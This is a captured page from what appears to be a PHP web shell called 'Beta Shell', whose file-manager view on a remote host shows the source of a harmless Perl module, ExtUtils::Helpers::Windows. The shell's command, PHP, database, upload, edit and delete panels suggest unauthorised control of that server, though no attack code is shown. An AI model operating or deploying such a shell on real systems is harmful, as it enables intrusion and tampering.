Beta Shell
v2.0 ยท web2.us.cloudlogin.co
[FM]
[CMD]
[PHP]
[DB]
[INFO]
[SEC]
File Manager
~
/
usr
/
local
/
share
/
perl5
/
ExtUtils
/
Helpers
Upload
5 items
Name
Size
Perms
Modified
Actions
[ .. / .. ]
Unix.pm
1.78 KB
-r--r--r--
2016-09-09 17:26:59
Edit
Del
VMS.pm
2.36 KB
-r--r--r--
2016-09-09 17:26:59
Edit
Del
Windows.pm
1.13 KB
-r--r--r--
2016-09-09 17:26:59
Edit
Del
Editing: Windows.pm
(1.13 KB)
Path: /usr/local/share/perl5/ExtUtils/Helpers/Windows.pm
Back
package ExtUtils::Helpers::Windows; $ExtUtils::Helpers::Windows::VERSION = '0.026'; use strict; use warnings FATAL => 'all'; use Exporter 5.57 'import'; our @EXPORT = qw/make_executable detildefy/; use Config; use Carp qw/carp croak/; use ExtUtils::PL2Bat 'pl2bat'; sub make_executable { my $script = shift; if (-T $script && $script !~ / \. (?:bat|cmd) $ /x) { pl2bat(in => $script, update => 1); } return; } sub detildefy { my $value = shift; $value =~ s{ ^ ~ (?= [/\\] | $ ) }[$ENV{USERPROFILE}]x if $ENV{USERPROFILE}; return $value; } 1; # ABSTRACT: Windows specific helper bits __END__ =pod =encoding UTF-8 =head1 NAME ExtUtils::Helpers::Windows - Windows specific helper bits =head1 VERSION version 0.026 =for Pod::Coverage make_executable split_like_shell detildefy =head1 AUTHORS =over 4 =item * Ken Williams <kwilliams@cpan.org> =item * Leon Timmermans <leont@cpan.org> =back =head1 COPYRIGHT AND LICENSE This software is copyright (c) 2004 by Ken Williams, Leon Timmermans. This is free software; you can redistribute it and/or modify it under the same terms as the Perl 5 programming language system itself. =cut